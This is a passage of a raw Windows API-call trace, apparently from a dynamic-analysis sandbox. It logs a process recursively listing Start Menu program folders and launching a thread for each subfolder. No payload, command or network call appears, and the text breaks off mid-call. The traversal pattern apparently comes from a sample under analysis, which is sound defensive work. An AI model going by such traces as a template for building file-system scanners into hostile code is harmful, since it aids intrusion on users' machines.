cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.389] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0160.389] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0160.389] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0160.389] wcscmp (_String1="Games", _String2=".") returned 1 [0160.389] wcscmp (_String1="Games", _String2="..") returned 1 [0160.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a49b0 [0160.390] wcscpy (in: _Dest=0x202a49b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.390] wcscat (in: _Dest=0x202a49b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.390] wcscat (in: _Dest=0x202a49b0, _Source="Games" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0160.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a49b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80 [0160.390] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0160.390] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0160.391] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0160.391] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0160.391] wcscmp (_String1="Java", _String2=".") returned 1 [0160.391] wcscmp (_String1="Java", _String2="..") returned 1 [0160.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced32b0 [0160.391] wcscpy (in: _Dest=0x1ced32b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.391] wcscat (in: _Dest=0x1ced32b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.391] wcscat (in: _Dest=0x1ced32b0, _Source="Java" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0160.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced32b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2294 [0160.392] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0160.392] wcscmp (_String1="Maintenance", _String2=".") returned 1 [0160.392] wcscmp (_String1="Maintenance", _String2="..") returned 1 [0160.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1cdb51b0 [0160.392] wcscpy (in: _Dest=0x1cdb51b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.392] wcscat (in: _Dest=0x1cdb51b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.392] wcscat (in: _Dest=0x1cdb51b0, _Source="Maintenance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0160.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cdb51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2920 [0160.393] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="MEDIAC~1.LNK")) returned 1 [0160.393] wcscmp (_String1="Media Center.lnk", _String2=".") returned 1 [0160.393] wcscmp (_String1="Media Center.lnk", _String2="..") returned 1 [0160.393] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0160.393] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0160.393] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0160.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb5250 [0160.393] wcscpy (in: _Dest=0x1cdb5250, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.393] wcscat (in: _Dest=0x1cdb5250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.393] wcscat (in: _Dest=0x1cdb5250, _Source="Microsoft Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0160.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1cdb52f0 [0160.393] wcscpy (in: _Dest=0x1cdb52f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0160.393] wcscat (in: _Dest=0x1cdb52f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0160.393] wcscat (in: _Dest=0x1cdb52f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*" [0160.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0160.394] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0160.394] wcscmp (_String1=".", _String2=".") returned 0 [0160.394] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.394] wcscmp (_String1="..", _String2=".") returned 1 [0160.394] wcscmp (_String1="..", _String2="..") returned 0 [0160.394] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Access 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0160.394] wcscmp (_String1="Microsoft Access 2010.lnk", _String2=".") returned 1 [0160.394] wcscmp (_String1="Microsoft Access 2010.lnk", _String2="..") returned 1 [0160.394] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Excel 2010.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0160.394] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2=".") returned 1 [0160.394] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2="..") returned 1 [0160.394] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Designer 2010.lnk", cAlternateFileName="MIA4FF~1.LNK")) returned 1 [0160.394] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2=".") returned 1 [0160.394] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2="..") returned 1 [0160.394] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Filler 2010.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0160.394] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2=".") returned 1 [0160.394] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2="..") returned 1 [0160.395] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="MICROS~1")) returned 1 [0160.395] wcscmp (_String1="Microsoft Office 2010 Tools", _String2=".") returned 1 [0160.395] wcscmp (_String1="Microsoft Office 2010 Tools", _String2="..") returned 1 [0160.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced04a0 [0160.395] wcscpy (in: _Dest=0x1ced04a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0160.395] wcscat (in: _Dest=0x1ced04a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0160.395] wcscat (in: _Dest=0x1ced04a0, _Source="Microsoft Office 2010 Tools" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" [0160.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1cecfda0 [0160.395] wcscpy (in: _Dest=0x1cecfda0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" [0160.395] wcscat (in: _Dest=0x1cecfda0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\" [0160.395] wcscat (in: _Dest=0x1cecfda0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*" [0160.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58c60 [0160.395] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86f10 [0160.396] wcscmp (_String1=".", _String2=".") returned 0 [0160.396] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.396] wcscmp (_String1="..", _String2=".") returned 1 [0160.396] wcscmp (_String1="..", _String2="..") returned 0 [0160.396] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Digital Certificate for VBA Projects.lnk", cAlternateFileName="DIGITA~1.LNK")) returned 1 [0160.397] wcscmp (_String1="Digital Certificate for VBA Projects.lnk", _String2=".") returned 1 [0160.397] wcscmp (_String1="Digital Certificate for VBA Projects.lnk", _String2="..") returned 1 [0160.397] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Clip Organizer.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0160.397] wcscmp (_String1="Microsoft Clip Organizer.lnk", _String2=".") returned 1 [0160.397] wcscmp (_String1="Microsoft Clip Organizer.lnk", _String2="..") returned 1 [0160.397] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xabf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Language Preferences.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0160.397] wcscmp (_String1="Microsoft Office 2010 Language Preferences.lnk", _String2=".") returned 1 [0160.397] wcscmp (_String1="Microsoft Office 2010 Language Preferences.lnk", _String2="..") returned 1 [0160.397] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Upload Center.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0160.397] wcscmp (_String1="Microsoft Office 2010 Upload Center.lnk", _String2=".") returned 1 [0160.397] wcscmp (_String1="Microsoft Office 2010 Upload Center.lnk", _String2="..") returned 1 [0160.397] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office Picture Manager.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0160.397] wcscmp (_String1="Microsoft Office Picture Manager.lnk", _String2=".") returned 1 [0160.397] wcscmp (_String1="Microsoft Office Picture Manager.lnk", _String2="..") returned 1 [0160.397] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="MIBC23~1.LNK")) returned 1 [0160.397] wcscmp (_String1="Microsoft Project Server 2010 Accounts.lnk", _String2=".") returned 1 [0160.397] wcscmp (_String1="Microsoft Project Server 2010 Accounts.lnk", _String2="..") returned 1 [0160.397] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="MIBC23~1.LNK")) returned 0 [0160.397] FindClose (in: hFindFile=0x1cd86f10 | out: hFindFile=0x1cd86f10) returned 1 [0160.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58c60) returned 1 [0160.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfda0) returned 1 [0160.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced04a0) returned 1 [0160.399] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneNote 2010.lnk", cAlternateFileName="MI807F~1.LNK")) returned 1 [0160.399] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2=".") returned 1 [0160.399] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2="..") returned 1 [0160.399] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook 2010.lnk", cAlternateFileName="MI4465~1.LNK")) returned 1 [0160.399] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2=".") returned 1 [0160.400] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2="..") returned 1 [0160.400] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft PowerPoint 2010.lnk", cAlternateFileName="MIAF79~1.LNK")) returned 1 [0160.400] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2=".") returned 1 [0160.400] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2="..") returned 1 [0160.400] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project 2010.lnk", cAlternateFileName="MI6860~1.LNK")) returned 1 [0160.400] wcscmp (_String1="Microsoft Project 2010.lnk", _String2=".") returned 1 [0160.400] wcscmp 